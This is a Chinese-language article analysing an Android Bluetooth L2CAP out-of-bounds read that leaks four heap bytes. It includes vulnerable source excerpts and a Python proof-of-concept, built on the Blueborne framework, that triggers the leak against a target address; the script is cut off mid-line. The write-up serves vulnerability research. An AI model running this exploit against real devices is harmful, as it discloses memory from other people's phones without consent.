|快速理解Android中的三个蓝牙漏洞( 三 )


漏洞详情
漏洞在于 , 两次使用了STREAM_TO_UINT16 宏 , 而没有检查攻击者控制的数据包中是否至少还有4个字节 。 如果数据包中没有剩余字节 , 则越界读取 lcid 和 rcid 。
结果:泄漏数据包后相邻的四个字节
L2CAP_CMD_DISC_REQ控制命令在process_L2CAP_CMD()函数中是这样处理的:
case L2CAP_CMD_DISC_REQ: STREAM_TO_UINT16(lcid, p); STREAM_TO_UINT16(rcid, p); p_ccb = l2cu_find_ccb_by_cid(p_lcb, lcid); if (p_ccb != NULL) { if (p_ccb->remote_cid == rcid) { p_ccb->remote_id = id; l2c_csm_execute(p_ccb, L2CEVT_L2CAP_DISCONNECT_REQ, &con_info); } } else l2cu_send_peer_disc_rsp(p_lcb, id, lcid, rcid);上面的代码两次使用STREAM_TO_UINT16宏[ platform / system / bt / stack / include / bt_types.h ], 从L2CAP数据包中一共读取2个uint16_t值(lcid和rcid):
漏洞在于 , 两次使用了STREAM_TO_UINT16宏 , 而没有检查攻击者控制的数据包中是否至少还有4个字节 。 如果数据包中没有剩余字节 , 则越界读取lcid和rcid , 更准确地说 , 从堆上与数据包数据相邻的任何数据读取 。 之后 , 如果l2cu_find_ccb_by_cid()返回NULL并因此到达else分支 , 则调用l2cu_send_peer_disc_rsp() [ platform / system / bt / stack / l2cap / l2c_utils.cc ]向远程对等方发送lcid和rcid , 有效地从堆中泄漏了4个字节:
void l2cu_send_peer_disc_rsp(tL2C_LCB* p_lcb, uint8_t remote_id, uint16_t local_cid, uint16_t remote_cid) { [...] UINT16_TO_STREAM(p, local_cid); UINT16_TO_STREAM(p, remote_cid); l2c_link_check_send_pkts(p_lcb, NULL, p_buf); }请注意 , 攻击者可能会完全影响l2cu_find_ccb_by_cid()来返回NULL(并因此到达else分支) , 因为除非在目标蓝牙设备和攻击者的蓝牙设备之间使用虚假lcid设置了活动的信道控制块(CCB) , 否则该函数将始终返回NULL 。
图示如下:
|快速理解Android中的三个蓝牙漏洞
本文插图

从堆栈上通过函数STREAM_TO_UINT16分别读取两字节到lcid和rcid , con_info.psm再通过函数l2cu_find_ccd_by_cid函数得到p_ccb , 对p_ccb进行判断 , 如果p_ccb == NULL(通过在目标蓝牙之间使用的虚拟lcid不设置活动的信道控制块来实现) , 然后就会向远程对等方发送lcid和rcid等信息 。
如果 , 数据包中的数据在数据1..之前就已经结束 , 程序还是会将堆栈上将相邻四个字节的数据(也就是数据2..)分别读入到lcid和rcid , 最后发送给远程对等方 。 那么 , 最后整个攻击结果就是这里的内存泄漏了四个字节 。
Proof-of-Concept(概念验证)
以下Python代码触发了该漏洞 , 并打印了从目标蓝牙设备的com.android.bluetooth守护程序堆泄漏的两个16位值 。
此Python代码使用Blueborne框架中的l2cap_infra包 。
用法: $ sudo python l2cap02.py <src- hci > <target-bdaddr> 。
例如:$ sudo python l2cap02.py hci0 00:11:22:33:44:55 。
import os import sys from l2cap_infra import * L2CAP_SIGNALLING_CID = 0x01 L2CAP_CMD_DISC_REQ = 0x06 def main(src_hci, dst_bdaddr): l2cap_loop, _ = create_l2cap_connection(src_hci, dst_bdaddr) # This will leak 4 bytes from the heap 这将从堆中泄漏4个字节 print ''Sending L2CAP_CMD_DISC_REQ command in L2CAP connection...'' cmd_code = L2CAP_CMD_DISC_REQ cmd_id = 0x41# not important cmd_len = 0x00# bypasses this check at lines 296/297 of l2c_main.cc:p_next_cmd = p + cmd_len; / if (p_next_cmd > p_pkt_end) { # here we use L2CAP_SIGNALLING_CID as cid, so l2c_rcv_acl_data() calls process_l2cap_cmd(): #这里我们将L2CAP_signaling_CID用作CID , 因此l2c_rcv_acl_data()调用进程_L2CAP_cmd(): # 170/* Send the data through the channel state machine */ # 171if (rcv_cid == L2CAP_SIGNALLING_CID) { # 172process_l2cap_cmd(p_lcb, p, l2cap_len); l2cap_loop.send(L2CAP_Hdr(cid=L2CAP_SIGNALLING_CID) / Raw(struct.pack('


推荐阅读